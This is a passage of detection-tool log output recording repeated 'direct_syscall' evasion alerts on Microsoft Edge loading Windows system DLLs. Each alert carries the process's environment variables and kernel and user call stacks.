C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf21a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf218ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf205619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffea522e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13509813 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:14.671177 +0100 CET + Params: base_address➜ 7ffebb8e0000, checksum➜ 162155, default_address➜ 7ffebb8e0000, file_path➜ C:\Windows\System32\mobilenetworking.dll, image_size➜ 139264, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca863c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffeca8d41ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca8ad7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffeca8ab94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffebb7130e2 C:\Windows\System32\wlanapi.dll!WlanPrivateQuery11adPairedConfig|0x7ffebb71b91a C:\Windows\System32\wlanapi.dll!WiFiDisplaySetSinkClientHandleInt|0x7ffebb718ee9 C:\Windows\System32\wlanapi.dll!WFDSetPropertyInt|0x7ffebb719e66 C:\Windows\System32\wlanapi.dll!WiFiDisplaySetSinkClientHandleInt|0x7ffeca9bf96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffeca86bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffeca8697ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7ffeca8f76ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffeca8f6203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffeca876414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca8ad7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffeca8ab94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffea5652232 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetClassObject|0x7ffea5661034 C:\Windows\System32\Windows.Networking.Connectivity.dll!SetHostNameMediaStreamingMode|0x7ffea562a6a4 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea565dd7a C:\Windows\System32\Windows.Networking.Connectivity.dll!SetHostNameMediaStreamingMode|0x7ffea5629f3a C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea562abdf C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea562a8c3 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffeaf22424f C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf222081 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf208c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf25815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf237367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf21a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf218ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf205619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffea522e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13510585 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:14.7191245 +0100 CET + Params: base_address➜ 7ffe9d020000, checksum➜ 125318, default_address➜ 7ffe9d020000, file_path➜ C:\Windows\System32\dusmapi.dll, image_size➜ 77824, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca863c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffeca8d41ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca8ad7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffeca8ab94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffea5652232 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetClassObject|0x7ffea5661bef C:\Windows\System32\Windows.Networking.Connectivity.dll!SetHostNameMediaStreamingMode|0x7ffea562dfda C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffea562d674 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetActivationFactory|0x7ffeaf2242f1 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf222081 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf208c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf25815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf237367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf21a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf218ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf205619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffea522e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:18+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13522009 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:15.2889161 +0100 CET + Params: base_address➜ 7ffec1170000, checksum➜ 873482, default_address➜ 7ffec1170000, file_path➜ C:\Windows\System32\webio.dll, image_size➜ 827392, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 